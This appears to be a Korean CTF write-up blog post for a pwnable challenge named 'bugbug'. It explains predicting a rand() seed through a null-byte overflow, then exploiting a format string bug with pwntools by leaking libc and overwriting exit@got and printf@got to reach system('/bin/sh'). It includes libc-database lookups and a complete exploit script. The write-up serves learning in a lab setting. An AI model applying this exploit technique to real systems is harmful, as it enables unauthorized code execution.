name을 꽉채워서 주면 null byte off?(용어가 맞는지 모르겟다..ㅡ_) 로 seed값이 overflow된다

이를 이용해서 random함수 c코드를 짜서 lotto값을 구했다.

그이후 fsb가 있었고

pwntool의 fmtstr_payload를 이용해 payload를 짯다

첫번째 name에서

libc를 릭하고 exit@got를 main으로 overwrite한후

두번째 name에서

name앞에 /bin/sh;를 붙이고 printf@got->system exit@got->0x8048966 으로 주어서 

쉘을 실행시켰다.


***

.text:08048966                 lea     eax, [ebp+name]

.text:08048969                 push    eax             ; format

.text:0804896A                 call    _printf

***


pwnlib.fmtstr.fmtstr_payload(offsetwritesnumbwritten=0write_size='byte') → str[source]

Makes payload with given parameter. It can generate payload for 32 or 64 bits architectures. The size of the addr is taken from context.bits

Parameters:
  • offset (int) – the first formatter’s offset you control
  • writes (dict) – dict with addr, value {addr: value, addr2: value2}
  • numbwritten (int) – number of byte already written by the printf function
  • write_size (str) – must be byteshort or int. Tells if you want to write byte by byte, short by short or int by int (hhn, hn or n)


나는 random함수를 c로 짯는데 다음과 같은 방법도 있다.

1. seed를 인자로 받는 random프로그램을 을 c로 구현

2. forsee이용 

foresee = process(('foresee glibc rand -s %d -c 200' % seed).split()).recvall()

foresee = list(map(int, foresee.split()))

foresee[0], foresee[1]

3. ctypes이용 

from ctypes import cdll

libc=cdll.LoadLibrary('libc.so.6')

libc.srand(seed)

libc.rand()


## 서버 라이브러리 주소 알아내는법 ##


서버의 라이브러리를 알아내는 도구로 https://github.com/niklasb/libc-database을 이용했습니다.

root@ubuntu:~/libc-database# ./find printf 150
ubuntu-wily-i386-libc6 (id libc6_2.21-0ubuntu4.1_i386)
root@ubuntu:~/libc-database# ./find __libc_start_main_ret 73e
ubuntu-wily-i386-libc6 (id libc6_2.21-0ubuntu4.1_i386)
root@ubuntu:~/libc-database# ./dump libc6_2.21-0ubuntu4.1_i386 system str_bin_sh
offset_system = 0x0003b180
offset_str_bin_sh = 0x15f61b


출처 : http://hacklab.kr/?p=891


ex.py


from pwn import * import os exit_got=0x0804A024 printf_plt=0x080484B0 printf_got=0x0804A010 main=0x804878C p=process('./bugbug') raw_input() #0x804883d p.recvuntil('you?') name="%47$pAAA" name+=fmtstr_payload(19,{exit_got: main},numbwritten=13) name=name.ljust(0x63, 'b') + 'c' #print name p.sendline(name) #p.interactive() p.recvuntil('Hello~ '+name) ptr=p.recv(4) ptr=u32(ptr) print "seed : ",ptr lotto=os.popen('./bbrand {}'.format(ptr)).read() print lotto for i in range(6): p.sendline(lotto[2*i:2*i+2]) p.recvuntil('Congratulation, ') libc_start=p.recv(10) system=int(libc_start,16)+141434 print "libc_start :",libc_start print "system :",hex(system) p.recvuntil('you?') name='/bin/sh;' name+=fmtstr_payload(19,{exit_got:0x08048966,printf_got:system},numbwritten=8,write_size='short') print "length",len(name) name=name.ljust(0x62,' ')+'ab' print "length",len(name) p.sendline(name) p.recvuntil('ab') ptr=p.recv(4) ptr=u32(ptr) print "seed2 : ",ptr lotto2=os.popen('./bbrand {}'.format(ptr)).read() print "lotto2 : ",lotto p.recvuntil('==> ') for i in range(6): p.sendline(lotto2[2*i:2*i+2]) p.interactive()


'CTF' 카테고리의 다른 글

[codegate17 prequal]angrybird  (0) 2017.02.11
[HITCON2014]stkof  (0) 2017.02.07
[SECCON 2016]tinypad  (0) 2017.01.18
[HITCON CTF Qual 2016]house of orange  (0) 2017.01.18
[christmas ctf]house of daehee  (0) 2017.01.17

+ Recent posts